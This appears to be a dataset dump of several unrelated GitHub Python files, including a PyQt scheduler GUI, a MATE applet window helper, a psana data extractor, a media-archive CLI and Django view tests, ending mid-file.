check_day_of_the_week(self):\r\n\r\n if (self.checkMonday.isChecked() == True and self.today == 'Monday' or\r\n self.checkTuesday.isChecked() == True and self.today == 'Tuesday'\r\n or self.checkWednesday.isChecked() == True and self.today == 'Wednesdasy'\r\n or self.checkThursday.isChecked() == True and self.today == 'Thursday'\r\n or self.checkFriday.isChecked() == True and self.today == 'Friday'\r\n or self.checkSaturday.isChecked() == True and self.today == 'Saturday'\r\n or self.checkSunday.isChecked() == True and self.today == 'Sunday'):\r\n print(\"Today is checked\")\r\n self.scheduler.pause()\r\n else:\r\n self.scheduler.resume()\r\n\r\n\r\n\r\n def __del__(self):\r\n\r\n print(\"Exiting app...\")\r\n self.scheduler.shutdown()\r\n config = ConfigParser()\r\n config.read('config.ini')\r\n config.set('day', 'Monday', str(self.checkMonday.isChecked()))\r\n config.set('day', 'Tuesday', str(self.checkTuesday.isChecked()))\r\n config.set('day', 'Wednesday', str(self.checkWednesday.isChecked()))\r\n config.set('day', 'Thursday', str(self.checkThursday.isChecked()))\r\n config.set('day', 'Friday', str(self.checkFriday.isChecked()))\r\n config.set('day', 'Saturday', str(self.checkSaturday.isChecked()))\r\n config.set('day', 'Sunday', str(self.checkSunday.isChecked()))\r\n\r\n with open('config.ini', 'w') as file:\r\n config.write(file)\r\n\r\n\r\napp = QtWidgets.QApplication(sys.argv)\r\napp.setStyle('Fusion')\r\n\r\nwindow = MainWindow()\r\nwindow.show()\r\n\r\napp.exec()\r\n\r\nconfig = ConfigParser()\r\nconfig.read('config.ini')\r\nconfig.set('day', 'Monday', str(window.checkMonday.isChecked()))\r\nconfig.set('day', 'Tuesday', str(window.checkTuesday.isChecked()))\r\nconfig.set('day', 'Wednesday', str(window.checkWednesday.isChecked()))\r\nconfig.set('day', 'Thursday', str(window.checkThursday.isChecked()))\r\nconfig.set('day', 'Friday', str(window.checkFriday.isChecked()))\r\nconfig.set('day', 'Saturday', str(window.checkSaturday.isChecked()))\r\nconfig.set('day', 'Sunday', str(window.checkSunday.isChecked()))\r\n\r\nwith open('config.ini', 'w') as file:\r\n config.write(file)\r\n\r\nprint(\"Exiting...\")\r\n","repo_name":"prathimacode-hub/Catch-Forty-Winks","sub_path":"mainGUI.py","file_name":"mainGUI.py","file_ext":"py","file_size_in_byte":12717,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"19689699843","text":"#Borrowed from Seth Nickell's gnome-blog applet\n#Not actually using this currently, because of stuff being broken in gdk 2.x using glib introspection, which isn't even supposed to work, but Mate requires it. \n#import gtk\nimport gi\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\nfrom gi.repository import Gdk\n\nclass AlignedWindow(Gtk.Window):\n\n def __init__(self, applet):\n Gtk.Window.__init__(self, Gtk.WindowType.TOPLEVEL)\n self.applet = applet\n self.alignment = self.applet.get_orient()\n\n\t# Skip the taskbar, and the pager, stick and stay on top\n self.set_decorated(False)\n self.set_type_hint(Gdk.WindowTypeHint.DOCK)\n self.stick()\n self.set_resizable(False)\n print(\"got through alignedwindow init\")\n\n\n def positionWindow(self):\n # Get our own dimensions & position\n self.realize()\n Gdk.flush()\n #print self.window.get_geometry()\n #win = self.get_window()\n print(\"got here pw 1\")\n #ought to work when we move to gtk3 and the bindings are unbroken\n # or if I port to gnome flashback\n #ourWidth = (win.get_geometry())[2]\n #ourHeight = (win.get_geometry())[3]\n (ourWidth, ourHeight) = self.get_size()\n # Get the dimensions/position of the applet\n self.applet.realize()\n #entryX, entryY = self.widgetToAlignWith.window.get_origin()\n #entryWidth = (self.widgetToAlignWith.window.get_geometry())[2]\n #entryHeight = (self.widgetToAlignWith.window.get_geometry())[3]\n print(\"got here pw 2\")\n #screen = self.applet.get_screen()\n #appletWindow = self.applet.get_window()\n monitor = Gdk.Rectangle(0, 0, 0, 0)\n print(\"got here pw 2.1\")\n appletX = appletY = 0\n (appletX, appletY) = self.applet.window.get_origin()\n print(\"got here pw 2.2\")\n (appletWidth, appletHeight) = self.applet.window.get_size()\n #screen.get_monitor_geometry (screen.get_monitor_at_window (self.applet.window), monitor)\n print(\"got_here pw 3\")\n # Get the screen dimensions\n screenHeight = Gdk.screen_height()\n screenWidth = Gdk.screen_width()\n\n if appletX + ourWidth < screenWidth:\n # Align to the left of the entry\n newX = appletX\n else:\n # Align to the right of the entry\n newX = (appletX + appletWidth) - ourWidth\n\n if appletY + appletHeight + ourHeight < screenHeight:\n # Align to the bottom of the entry\n newY = appletY + appletHeight\n else:\n newY = appletY - ourHeight\n\n # -\"Coordinates locked in captain.\"\n # -\"Engage.\"\n self.move(newX, newY)\n self.show()\n\n","repo_name":"munizao/mate-workspace-name-applet","sub_path":"aligned_window.py","file_name":"aligned_window.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"27388291723","text":"from kinopoisk_unofficial.model.dictonary.film_type import FilmType\n\nTYPES_IN_RUSSIAN = {\n FilmType.FILM: \"фильм\",\n FilmType.VIDEO: \"видео\",\n FilmType.TV_SERIES: \"сериал\",\n FilmType.MINI_SERIES: \"мини-сериал\",\n FilmType.TV_SHOW: \"телешоу\",\n \"ALL\": \"все\",\n \"FILM\": \"фильм\",\n \"VIDEO\": \"видео\",\n \"TV_SERIES\": \"сериал\",\n \"MINI_SERIES\": \"мини-сериал\",\n \"TV_SHOW\": \"телешоу\",\n}\n\nTYPES = {\n \"все\": \"ALL\",\n \"фильм\": \"FILM\",\n \"телешоу\": \"TV_SHOW\",\n \"сериал\": \"TV_SERIES\",\n \"мини-сериал\": \"MINI_SERIES\",\n}\n\nFROM_TYPES = {\n \"FILM\": FilmType.FILM,\n \"TV_SHOW\": FilmType.TV_SHOW,\n \"TV_SERIES\": FilmType.TV_SERIES,\n \"MINI_SERIES\": FilmType.MINI_SERIES,\n}\n\n\ndef get_title(item) -> str:\n title = item.name_ru or item.name_en or item.name_original\n if item.name_ru and item.name_en:\n title = f\"{item.name_ru} ({item.name_en})\"\n return title\n\n\ndef get_short_info(item) -> dict:\n description = {}\n if hasattr(item, \"type\") and item.type and item.type != \"null\":\n description[\"Тип: \"] = TYPES_IN_RUSSIAN[item.type]\n if hasattr(item, \"year\") and item.year and item.year != \"null\":\n description[\"Год: \"] = str(item.year)\n\n if hasattr(item, \"rating_kinopoisk\") and item.rating_kinopoisk:\n item.rating_kinopoisk = str(item.rating_kinopoisk)\n if \"%\" not in item.rating_kinopoisk and item.rating_kinopoisk != \"null\":\n description[\"Рейтинг kinopoisk: \"] = item.rating_kinopoisk\n\n if hasattr(item, \"rating_imdb\") and item.rating_imdb:\n item.rating_imdb = str(item.rating_imdb)\n if \"%\" not in item.rating_imdb and item.rating_imdb != \"null\":\n description[\"Рейтинг IMDb: \"] = item.rating_imdb\n\n if hasattr(item, \"rating\") and item.rating:\n item.rating = str(item.rating)\n if \"%\" not in item.rating and item.rating != \"null\":\n description[\"Рейтинг: \"] = item.rating\n\n if hasattr(item, \"countries\") and item.countries:\n description[\"Страна: \"] = \", \".join([country.country for country in item.countries])\n if hasattr(item, \"genres\") and item.genres:\n description[\"Жанр: \"] = \", \".join([genre.genre for genre in item.genres])\n return description\n","repo_name":"Vyacheslav1557/movie-treasure-trove","sub_path":"shortcuts/shortcuts.py","file_name":"shortcuts.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"6712827895","text":"# This file is part of OnDA.\n#\n# OnDA is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# OnDA is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with OnDA. If not, see .\n\n\nimport psana\n\nfrom parallelization_layer.utils import (\n global_params as gp,\n dynamic_import as dyn_imp\n)\n\n\ndef pulse_energy_dataext(event):\n gas = event['evt'].get(psana.Bld.BldDataFEEGasDetEnergyV1, psana.Source('BldInfo(FEEGasDetEnergy)'))\n\n return (gas.f_11_ENRC() + gas.f_12_ENRC() + gas.f_21_ENRC() + gas.f_22_ENRC()) / 4.\n\n\ndef beam_energy_dataext(event):\n return event['evt'].get(psana.Bld.BldDataEBeamV7, psana.Source('BldInfo(EBeam)')).ebeamPhotonEnergy()\n\n\ndef detector_distance_dataext(event):\n return event['det_dist']()\n\n\ndef acqiris_data_dataext(event):\n return event['evt'].get(psana.Acqiris.DataDescV1,\n psana.Source(gp.monitor_params['PsanaParallelizationLayer']['digitizer_psana_source'])\n ).data(gp.monitor_params['PsanaParallelizationLayer'][\n 'digitizer_psana_channel']).waveforms()\n\ndef pump_laser_state_dataext(event):\n evr = event['evt'].get(psana.EvrData.DataV4, psana.Source('DetInfo(NoDetector.0:Evr.1)'))\n if not evr:\n evr = event['evt'].get(psana.EvrData.DataV4, psana.Source('DetInfo(NoDetector.0:Evr.2)'))\n\n if not evr.present(163):\n if evr.present(gp.monitor_params['RadialAveraging']['pump_laser_evr_code']):\n #pump laser on\n return 1\n else:\n #pump laser off\n return 0\n else:\n\t#dropped shot\n return 2\n\nin_layer = dyn_imp.import_layer_module('instrument_layer', gp.monitor_params)\n\ndata_ext_funcs = ['raw_data', 'opal_data', 'detector_distance', 'beam_energy', 'pulse_energy', 'timestamp',\n 'acqiris_data', 'pumpe_laser_state']\n\nfor data_entry in data_ext_funcs:\n locals()[data_entry] = lambda x: None\n\nrequired_data = gp.monitor_params['Backend']['required_data'].split(',')\nfor data_entry in required_data:\n data_entry = data_entry.strip()\n if data_entry not in data_ext_funcs:\n raise RuntimeError('Unknown data type: {0}'.format(data_entry))\n try:\n locals()[data_entry] = getattr(in_layer, data_entry)\n except AttributeError:\n try:\n locals()[data_entry] = locals()[data_entry+'_dataext']\n except KeyError:\n raise RuntimeError('Undefined data type: {0}'.format(data_entry))\n\n\ndef extract(event, monitor):\n\n # Extract detector data in slab format\n try:\n monitor.raw_data = raw_data(event)\n\n except Exception as e:\n print ('Error when extracting raw_data: {0}'.format(e))\n monitor.raw_data = None\n\n # Extract pulse energy in mJ\n try:\n monitor.pulse_energy = pulse_energy(event)\n\n except Exception as e:\n print ('Error when extracting pulse_energy: {0}'.format(e))\n monitor.pulse_energy = None\n\n # Extract beam energy in eV\n try:\n monitor.beam_energy = beam_energy(event)\n\n except Exception as e:\n print ('Error when extracting beam_energy: {0}'.format(e))\n monitor.beam_energy = None\n\n # Extract pump laser state\n try:\n monitor.pump_laser_state = pump_laser_state(event)\n\n except Exception as e:\n print ('Error when extracting pump laser state: {0}'.format(e))\n monitor.pump_laser_state = None\n \n # Extract detector distance in mm\n try:\n monitor.detector_distance = detector_distance(event)\n\n except Exception as e:\n print ('Error when extracting detector_distance: {0}'.format(e))\n monitor.detector_distance = None\n\n # Extract Opal camera data\n try:\n monitor.opal_data = opal_data(event)\n\n except Exception as e:\n print ('Error when extracting opal_data: {0}'.format(e))\n monitor.opal_data = None\n\n # Extract Acquiris data\n try:\n monitor.acqiris_data = acqiris_data(event)\n\n except Exception as e:\n print ('Error when extracting tof_data: {0}'.format(e))\n monitor.tof_data = None\n","repo_name":"srchamberlain/onda","sub_path":"data_extraction_layer/psana_data_extraction.py","file_name":"psana_data_extraction.py","file_ext":"py","file_size_in_byte":4603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36866248305","text":"#!/usr/bin/env python\r\n\"\"\"\r\nMediaUtils Package Management Module\r\n\r\nName: Package Management Module (management)\r\nPackage: CARIAMA Media Archive Utilities\r\n\"\"\"\r\n\r\nimport tkinter as tk\r\nfrom tkinter import filedialog\r\n\r\nimport argparse\r\nfrom clint.textui import prompt, validators, puts, colored, progress, indent\r\n\r\nfrom preferences import INDEX_PREFIX, MEDIA_DB_QUARANTINE_ROOT, MEDIA_DB_ROOT, MEDIA_DB_DIR_STRUCTURE\r\nimport fdmgm\r\nfrom fdmgm import File, Directory\r\nfrom fdmgm import importFile\r\nfrom fdmgm import FileImportingError, DirectoryIntegrityError\r\n\r\nfrom indexing import ParserError, FileIndexingError\r\n\r\nimport os, sys, time, logging\r\nfrom argparse import Namespace\r\n\r\n\r\n\"\"\" Setup logger \"\"\"\r\n\r\nhandler = logging.FileHandler('log.log')\r\nhandler.setLevel(logging.DEBUG)\r\n\r\nformatter = logging.Formatter('\\n%(asctime)s - %(name)s - %(levelname)s - %(message)s\\n')\r\nhandler.setFormatter(formatter)\r\n\r\n\r\n\r\n\"\"\" Functions \"\"\"\r\n\r\ndef getFilesFromDialog(args):\r\n \"\"\" Opens file dialog GUI for file or directory\r\n @return: a list of selected files\r\n \"\"\"\r\n root = tk.Tk()\r\n root.withdraw()\r\n if args.file_select:\r\n return [File(f) for f in filedialog.askopenfilenames()]\r\n elif args.dir_select:\r\n try:\r\n return Directory(filedialog.askdirectory()).getFiles()\r\n except NotADirectoryError:\r\n return []\r\n else:\r\n raise ValueError(\"Invalid mode\")\r\n \r\n\r\nclass Import():\r\n def __init__(self, args, parser): \r\n if args.quarantine:\r\n if args.mediatype is None:\r\n parser.error(\"quarantine importing mode requires -t/--mediatype to be set\")\r\n if args.mediatype not in INDEX_PREFIX.keys():\r\n parser.error(\"invalid media type: %s\"%args.mediatype)\r\n if not (args.dir_select or args.file_select):\r\n parser.error(\"must specify -d or -f for directory or file selector\")\r\n self.__import_to_quarantine(args)\r\n \r\n elif args.database: \r\n self.__import_to_database(args)\r\n elif args.path:\r\n if args.index and not args.mediatype:\r\n parser.error(\"custom path importing mode can only apply index if -t/--mediatype is set\")\r\n self.__import_to_path(args)\r\n \r\n def __del__(self):\r\n with indent(4, quote=\">>\"): puts(colored.cyan(\"Done\"))\r\n \r\n def __import_files(self, fList, destPath, organizeBy=None, copy=True, indexing=False):\r\n \"\"\" Base function for importing files \"\"\"\r\n # set logger\r\n logger = logging.getLogger(__name__)\r\n logger.setLevel(logging.INFO)\r\n logger.addHandler(handler) \r\n \r\n # importing routine\r\n with indent(3, quote='>>'): puts(colored.cyan(\"Importing Files to %s\"%destPath)) \r\n with progress.Bar(expected_size=len(fList)) as bar:\r\n val=0\r\n for f in fList:\r\n val +=1\r\n try: \r\n with indent(5): puts(colored.green(\"Importing file %s\"%f.getPath())) \r\n bar.show(val-1) \r\n impf = importFile(f, destPath, organizeBy=organizeBy, indexing=indexing)\r\n logger.info(\"Imported file %s successfully into %s\"%(f.getPath(),impf.getPath()))\r\n \r\n except FileImportingError as e:\r\n with indent(5): puts(colored.red(\"%s\"%e))\r\n logger.error(\"Error importing file\", exc_info=True)\r\n \r\n finally: \r\n bar.show(val)\r\n \r\n def __import_to_quarantine(self, args):\r\n \"\"\" \r\n Opens a file selector and lets user pick up files to be imported to quarantine \r\n @param param: \r\n \"\"\"\r\n logger = logging.getLogger(__name__)\r\n logger.setLevel(logging.INFO)\r\n logger.addHandler(handler)\r\n \r\n # file selector dialog\r\n flist = getFilesFromDialog(args)\r\n \r\n # sets media type\r\n for f in flist:\r\n f.setMediaType(args.mediatype)\r\n \r\n # importing routine\r\n importPath = os.path.join(MEDIA_DB_QUARANTINE_ROOT, args.quarantine)\r\n self.__import_files(flist, importPath, organizeBy=None, copy=True, indexing=args.index)\r\n \r\n # finalization\r\n return\r\n \r\n def __import_to_database(self, args):\r\n \"\"\" Imports file to media database from the quarantine. Checks its integrity first \"\"\"\r\n # Verify quarantine before importing files\r\n setFix=False\r\n while True:\r\n try: # tries to pass integrity check\r\n quarantine = Directory(MEDIA_DB_QUARANTINE_ROOT)\r\n quarantine.checkIntegrity(fix=setFix)\r\n break\r\n \r\n # prints out the issues detected on quarantine \r\n except DirectoryIntegrityError as e: \r\n with indent(4, quote=\">>\"):\r\n puts(\"The following issues were detected on the quarantine:\")\r\n print(\"\\n\")\r\n for issue in e.issues:\r\n with indent(8): puts(colored.red(\"[%s]\\n %s for file %s\\n\"%(issue[0], issue[1][1], os.path.relpath(issue[1][0], quarantine.getPath()))) )\r\n \r\n # try to fix issues?\r\n setFix = prompt.query(\"Do you want me to try fixing them? [y/n]\", validators=[validators.OptionValidator([\"Y\", \"y\", \"N\", \"n\"], \"type y (yes) or n (no)\")])\r\n if setFix=='y' or setFix==\"Y\":\r\n setFix=True\r\n print(\"trying to fix\\n\\n\\n\")\r\n pass\r\n # do not try to fix issues. quit importing routine\r\n else:\r\n with indent(3, quote=\">>\"): puts(\"Could not fix the issues. Now quitting...\")\r\n sys.exit() \r\n \r\n \r\n # if quarantine is all set, start importing routine\r\n flist = [f for f in quarantine.getFiles(recursive=True)]\r\n self.__import_files(flist, MEDIA_DB_ROOT, organizeBy=MEDIA_DB_DIR_STRUCTURE, copy=True, indexing=False)\r\n \r\n # finalization\r\n return\r\n \r\n def __import_to_path(self, args):\r\n \"\"\" Opens a file selector and lets user pick up files to be imported to custom path \"\"\"\r\n # file selector dialog\r\n flist = getFilesFromDialog(args)\r\n \r\n # sets media type\r\n for f in flist:\r\n f.setMediaType(args.mediatype)\r\n \r\n # importing routine\r\n self.__import_files(flist, args.path, organizeBy=None, copy=True, indexing=args.index)\r\n \r\n\r\nclass Datetime():\r\n def __init__(self, args, parser):\r\n if args.add:\r\n with indent(4, quote=\">>\"): puts(colored.cyan(\"Entering datetime add mode...\"))\r\n \r\n self.__add(args)\r\n if args.fix:\r\n with indent(4, quote=\">>\"):puts(colored.cyan(\"Entering datetime fixing mode...\"))\r\n self.__fix(args)\r\n \r\n def __del__(self):\r\n with indent(4, quote=\">>\"): puts(colored.cyan(\"Done\"))\r\n \r\n def __add(self, args):\r\n \"\"\" Opens a file selector and adds an amount of seconds for each \"\"\"\r\n # file selector dialog\r\n flist = getFilesFromDialog(args)\r\n \r\n # add seconds\r\n numOfSecs=eval(args.add)\r\n for f in flist:\r\n f.setDatetime((f.getDatetime()+numOfSecs))\r\n \r\n def __fix(self, args):\r\n \"\"\" Opens a file selector and tries to fix datetime for each file \"\"\" \r\n # file selector dialog\r\n flist = getFilesFromDialog(args)\r\n \r\n # try to fix\r\n for f in flist:\r\n try:\r\n f.setDatetime(fromIndex=True)\r\n with indent(8):puts( colored.green(\"Fixed datetime from %s\"%(f.getName())) )\r\n except ValueError:\r\n with indent(8): puts( colored.red(\"Could not fix datetime from %s\"%f.getName()) )\r\n\r\nclass SetIndex():\r\n def __init__(self, args, parser):\r\n self.__update_index(args)\r\n \r\n def __del__(self):\r\n pass\r\n \r\n def __update_index(self, args):\r\n # file selector dialog\r\n flist= getFilesFromDialog(args)\r\n \r\n # update files\r\n for f in flist:\r\n try:\r\n f.setDatetime(fromIndex=True)\r\n f.setMediaType(f.getMediaType())\r\n f.setIndex()\r\n except ValueError as e:\r\n with indent(4): puts(colored.red(\"Could not update index from %s: %s\"%(f.getName(),e)))\r\n except FileIndexingError as e:\r\n with indent(4): puts(colored.red(\"Could not update index from %s: %s\"%(f.getName(), e.strerror)))\r\n \r\n\r\ndef main():\r\n \r\n \"\"\" Parse arguments \"\"\"\r\n parser = argparse.ArgumentParser()\r\n subparsers = parser.add_subparsers(title='subcommands', help='additional help') \r\n \r\n # Import subcommand\r\n parser_import = subparsers.add_parser('import', help='import files') \r\n parser_import_mode = parser_import.add_mutually_exclusive_group(required=True)\r\n parser_import_fselector = parser_import.add_mutually_exclusive_group()\r\n parser_import_mode.add_argument('--quarantine', nargs='?', const='.', help=\"Import files to system quarantine root, or an optional subdir specified by [SUBPATH]. Specify media type with -t/--mtype and selector assistant for file (-f) or directory (-d)\", metavar=\"SUBPATH\")\r\n parser_import_mode.add_argument('--database', help=\"Import files from quarantine to media database\", action=\"store_true\")\r\n parser_import_mode.add_argument('--path', help=\"Import files to a custom path. Specify whether to apply indexation with -i/--index and choose selector assistant for file (-f) or directory (-d). If indexing, must specify media type -t/--mediatype\")\r\n parser_import.add_argument('-t', '--mediatype', help='Specify media type')\r\n parser_import.add_argument('-i', '--index', help=\"Apply indexing to files on importing\", action=\"store_true\")\r\n parser_import_fselector.add_argument('-d', help=\"Use directory selector assistant\", action=\"store_true\", dest=\"dir_select\")\r\n parser_import_fselector.add_argument('-f', help=\"Use file selector assistant\", action=\"store_true\", dest=\"file_select\")\r\n parser_import.set_defaults(func=Import, parser_name=\"parser_import\") \r\n \r\n \r\n # Datetime subcommand\r\n parser_datetime = subparsers.add_parser('datetime', help='file datetime operations')\r\n parser_datetime_mode = parser_datetime.add_mutually_exclusive_group(required=True)\r\n parser_datetime_fselector = parser_datetime.add_mutually_exclusive_group(required=True)\r\n parser_datetime_mode.add_argument('--add', help=\"Add an ammount of seconds to file datetime\", metavar=\"SECS\")\r\n parser_datetime_mode.add_argument('--fix', help=\"Try to fix file datetime based on index parsing\", action=\"store_true\")\r\n parser_datetime_fselector.add_argument('-d', help=\"Use directory selector assistant\", action=\"store_true\", dest=\"dir_select\")\r\n parser_datetime_fselector.add_argument('-f', help=\"Use file selector assistant\", action=\"store_true\", dest=\"file_select\")\r\n parser_datetime.set_defaults(func=Datetime, parser_name=\"parser_datetime\")\r\n \r\n # Setindex subcommand\r\n parser_setindex = subparsers.add_parser('setindex', help=\"file indexation\")\r\n parser_setindex_fselector = parser_setindex.add_mutually_exclusive_group(required=True)\r\n parser_setindex.add_argument('-u','--update', help=\"try to parse datetime and media type from previous index and update it\", action=\"store_true\")\r\n parser_setindex_fselector.add_argument('-d', help=\"use directory selector assistant\", action=\"store_true\", dest=\"dir_select\")\r\n parser_setindex_fselector.add_argument('-f', help=\"use file selector assistant\", action=\"store_true\", dest=\"file_select\")\r\n parser_setindex.set_defaults(func=SetIndex, parser_name=\"parser_setindex\")\r\n \r\n # arguments parsing\r\n args = parser.parse_args() \r\n\r\n # call functions\r\n args.func(args, eval(args.parser_name))\r\n \r\nif __name__=='__main__':\r\n main()","repo_name":"pedrosiracusa/cariama","sub_path":"src/mediautils/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":12413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"3904395175","text":"\"\"\"\nwhen mypkg.config is imported in mypkg.*, I want to return configuration for\nmypkg\n\nhowever, when mypkg.config is imported in otherpkg.*, I want to return the\nconfiguration for otherpkg\n\nas such, if a module that calls config registers an adaptor, then when the\nconfig module is imported, the registration will have already happened, and\nthe registry lookup can get the appropriate adaptor\n\napp.py\n * import interfaces.IMyApp\n * import MyAp\n * import AdaptConfigToApp\n * components.registerAdapter(AdaptConfigToApp, , IMyApp)\n\nconfig.py\n * \n\n\"\"\"\nfrom zope.interface import implements\n\nfrom mypkg.interfaces import IConfig\n\n\nclass MyConfig(object):\n implements(IConfig)\n def get_attr(self):\n return \"a my attr datum\"\n\n\nconfig = MyConfig()\nconfig.name = \"mypkg config\"\nconfig.a = 1\nconfig.b = 2\nconfig.c = MyConfig()\nconfig.c.d = 3\nconfig.c.e = 4\nconfig.c.f = 5\nconfig.g = 6\nconfig.h = 7\n","repo_name":"oubiwann/carapace","sub_path":"sandbox/oubiwann/mypkg/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"71419671708","text":"import shutil\nimport tempfile\n\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.test import Client, TestCase, override_settings\nfrom django.urls import reverse\n\nfrom ..models import Follow, Group, Post\nfrom .fixtures import ObjectsCreate, UsersCreate\n\nUser = get_user_model()\n\nUser = get_user_model()\nSLUG_1 = \"1\"\nSLUG_2 = \"2\"\nGROUP_1 = reverse(\"posts:group_posts\", kwargs={\"slug\": SLUG_1})\nGROUP_2 = reverse(\"posts:group_posts\", kwargs={\"slug\": SLUG_2})\n\n\nclass TaskViewsTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user_a = User.objects.create_user(username=\"user_a\")\n cls.author_p = User.objects.create_user(username=\"author_p\")\n cls.group = Group.objects.create(\n slug=SLUG_1,\n title=\"test-title\",\n description=\"test-desc\",\n )\n\n def setUp(self):\n self.author = User.objects.create(\n username=\"test_name\",\n )\n self.post = Post.objects.create(\n author=self.author,\n text=\"Текст, написанный для проверки\",\n group=self.group,\n )\n self.authorized_client = Client()\n self.authorized_client.force_login(self.author)\n\n def test_pages_uses_correct_template(self):\n templates_pages_names = {\n reverse(\"posts:index\"): \"posts/index.html\",\n reverse(\n \"posts:group_posts\", kwargs={\"slug\": self.group.slug}\n ): \"posts/group_list.html\",\n reverse(\n \"posts:profile\", kwargs={\"username\": self.author.username}\n ): \"posts/profile.html\",\n reverse(\n \"posts:post_detail\", kwargs={\"post_id\": self.post.id}\n ): \"posts/post_detail.html\",\n reverse(\"posts:post_create\"): \"posts/create_post.html\",\n }\n for reverse_name, template in templates_pages_names.items():\n with self.subTest(reverse_name=reverse_name):\n response = self.authorized_client.get(reverse_name)\n self.assertTemplateUsed(response, template)\n\n\nclass TaskPaginatorsTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user_a = User.objects.create_user(username=\"user_a\")\n cls.author_p = User.objects.create_user(username=\"author_p\")\n cls.group = Group.objects.create(\n slug=SLUG_1,\n title=\"test-title\",\n description=\"test-desc\",\n )\n cls.posts = (\n Post(text=f\"text{i}\", author=cls.user_a,\n group=cls.group) for i in range(13)\n )\n Post.objects.bulk_create(cls.posts, 13)\n cls.TEMP = (\n reverse(\"posts:index\"),\n reverse(\"posts:group_posts\", kwargs={\"slug\": cls.group.slug}),\n reverse(\"posts:profile\", kwargs={\"username\": cls.user_a.username}),\n )\n\n def setUp(self):\n self.guest_client = Client()\n\n def test_item_posts_per_page(self):\n for page_name in self.TEMP:\n with self.subTest(page_name=page_name):\n response = self.guest_client.get(page_name)\n self.assertEqual(len(response.context[\"page_obj\"]), 10)\n response = self.guest_client.get(page_name + \"?page=2\")\n self.assertEqual(len(response.context[\"page_obj\"]), 3)\n\n\nclass AnotherGroupTests(TestCase):\n def setUp(self):\n self.author_p = User.objects.create_user(username=\"author_p\")\n self.group_1 = Group.objects.create(\n slug=\"1\", title=\"testtitle\", description=\"testdesc\"\n )\n self.group_2 = Group.objects.create(\n slug=\"2\", title=\"testtitle2\", description=\"testdesc2\"\n )\n Post.objects.create(author=self.author_p,\n text=\"text_2\", group=self.group_2)\n Post.objects.create(author=self.author_p,\n text=\"text_1\", group=self.group_1)\n self.guest_client = Client()\n self.a_c_author = Client()\n self.a_c_author.force_login(self.author_p)\n\n def test_post_in_2_group_2(self):\n response = self.a_c_author.get(GROUP_1)\n self.assertEqual(response.context[\"page_obj\"][0].group.id, 1)\n response = self.a_c_author.get(GROUP_2)\n self.assertEqual(response.context[\"page_obj\"][0].group.id, 2)\n\n def test_index_correct_context(self):\n response = self.guest_client.get(reverse(\"posts:index\"))\n self.assertEqual(len(response.context[\"page_obj\"]), 2)\n self.assertEqual(response.context[\"posts\"].count(), 2)\n\n def test_group_list_correct_context(self):\n response = self.guest_client.get(\n reverse(\"posts:group_posts\", kwargs={\"slug\": self.group_1.slug})\n )\n first_object = response.context[\"page_obj\"][0]\n self.assertEqual(first_object.group, self.group_1)\n\n def test_profile_correct_context(self):\n response = self.guest_client.get(\n reverse(\"posts:profile\",\n kwargs={\"username\": self.author_p.username})\n )\n self.assertEqual(response.context[\"page_obj\"][0].author, self.author_p)\n\n\nTEMP_MEDIA_ROOT = tempfile.mkdtemp(dir=settings.BASE_DIR)\n\n\n@override_settings(MEDIA_ROOT=TEMP_MEDIA_ROOT)\nclass PictureTest(TestCase):\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n shutil.rmtree(TEMP_MEDIA_ROOT, ignore_errors=True)\n\n def setUp(self):\n self.author = User.objects.create(username=\"test_name\")\n\n self.authorized_client_author = Client()\n self.authorized_client_author.force_login(self.author)\n\n self.group = Group.objects.create(\n title=\"Заголовок\",\n slug=\"test_slug\",\n )\n\n self.small_gif = (\n b\"\\x47\\x49\\x46\\x38\\x39\\x61\\x02\\x00\"\n b\"\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00\"\n b\"\\xFF\\xFF\\xFF\\x21\\xF9\\x04\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x2C\\x00\\x00\\x00\\x00\"\n b\"\\x02\\x00\\x01\\x00\\x00\\x02\\x02\\x0C\"\n b\"\\x0A\\x00\\x3B\"\n )\n\n self.uploaded = SimpleUploadedFile(\n name=\"small.gif\",\n content=self.small_gif,\n content_type=\"image/gif\",\n )\n self.post = Post.objects.create(\n author=self.author,\n text=\"Текст, написанный для проверки\",\n group=self.group,\n image=self.uploaded,\n )\n\n def test_index_image(self):\n response = self.authorized_client_author.get(reverse(\"posts:index\"))\n obj = response.context[\"page_obj\"][0]\n self.assertTrue(obj.image)\n\n def test_profile_image(self):\n response = self.authorized_client_author.get(\n reverse(\"posts:profile\", kwargs={\"username\": self.author.username})\n )\n user = User.objects.get(username=\"test_name\")\n obj = response.context[\"page_obj\"][0]\n self.assertEqual(obj.text, \"Текст, написанный для проверки\")\n self.assertEqual(obj.author, user)\n self.assertTrue(obj.image)\n\n def test_group_image(self):\n response = self.authorized_client_author.get(\n reverse(\"posts:group_posts\", kwargs={\"slug\": self.group.slug})\n )\n obj = response.context[\"page_obj\"][0]\n self.assertEqual(obj.text, \"Текст, написанный для проверки\")\n self.assertEqual(obj.author, self.author)\n self.assertEqual(obj.group, self.group)\n 